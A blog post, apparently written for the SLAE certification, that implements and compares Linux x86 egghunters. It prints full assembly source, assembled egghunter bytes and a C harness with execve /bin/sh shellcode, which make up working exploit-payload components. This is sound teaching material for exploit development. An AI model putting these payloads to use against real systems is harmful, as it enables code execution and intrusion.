I've implemented the 3 methods described in the paper:
- access() - Small and robust egghunter using access(0 system call to check validity of addresses. Cons: size is 39 bytes and the egg needs to be executable because after finding it, the execution jump before the egg and continues on.
- access() revisited - smaller (35 bytes), minor speed improvements, egg does not need to be executable. Cons: sets DF flag in case of failure (in very rare cases this could impact the running of the host application)
- sigaction() - even smaller (30 bytes), robust and very fast (validates 16 bytes at a time). Cons: some very rare odd failure situation described in detail in the paper.
- sigaction() reloaded - the smallest version (only 28 bytes). I've replaced the double check for the egg with only one check. To avoid finding the egg in the comparison from the shellcode, I've applied a small transform before searching for it (inc eax in this case, but could be any other 1 bytecode operation also - e.g. shifting bytes).
global _start section .text _start: or cx,0xfff ; page allignment next_addr: inc ecx ; Pointer to region to be validated push byte +0x43 ; sigaction() syscall number pop eax ; Syscall number in eax int 0x80 ; Execut ethe syscall cmp al,0xf2 ; Compare with EFAULT jz short _start ; Go to next page mov eax, <EGG> ; The egg inc eax ; Egg modification. Avoid first find from above! mov edi,ecx ; Prepare for comparison scasd ; Compare jnz short next_addr ; Jump to next address jmp edi ; Jump to shellcode
To test it I've used the following C program simulating a real payload:
[ filler ] [ egghunter ] [ garbage ] [ shellcode ]
#include <stdio.h> #include <string.h> #define EGG "<EGG>" unsigned char sled[] = "Some misc bytes here"; unsigned char egghunter[] = "<EGGHUNTER>"; unsigned char garbage[] = "Garbage, mangled bytes, whatever"; // execve(/bin/sh,..) shellcode here unsigned char shellcode[] = EGG "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; // Function pointer typedef int (*func_ptr)(); void main() { printf("Egghunter length: %d bytes\n", strlen(egghunter)); printf("Shellcode Length: %d bytes\n", strlen(shellcode)); ((func_ptr) egghunter)(); }The egg is configurable, and the compilation takes place from a wrapper script:
$ ./compile.sh Usage: compile.sh {4 chars EGG mark} E.g.: compile.sh W00T $ ./compile.sh BUBU [*] Using egg BUBU [*] (Modified) Egg hex:, 0x55425542 [+] Replace egg with, BUBU [+] Assembling egghunter [+] Linking egghunter [*] Egghunter: \x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x42\x55\x42\x55\x40\x89\xcf\xaf\x75\xeb\xff\xe7 [+] Compile shellcode tester [+] House cleaning [+] Done! run ./shellcode $ ./shellcode Egghunter length: 28 bytes Shellcode Length: 29 bytes $ whoami liv $
The complete source files and scripts mentioned can be found in the Git repository:
SLAE
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE- 449
No comments:
Post a Comment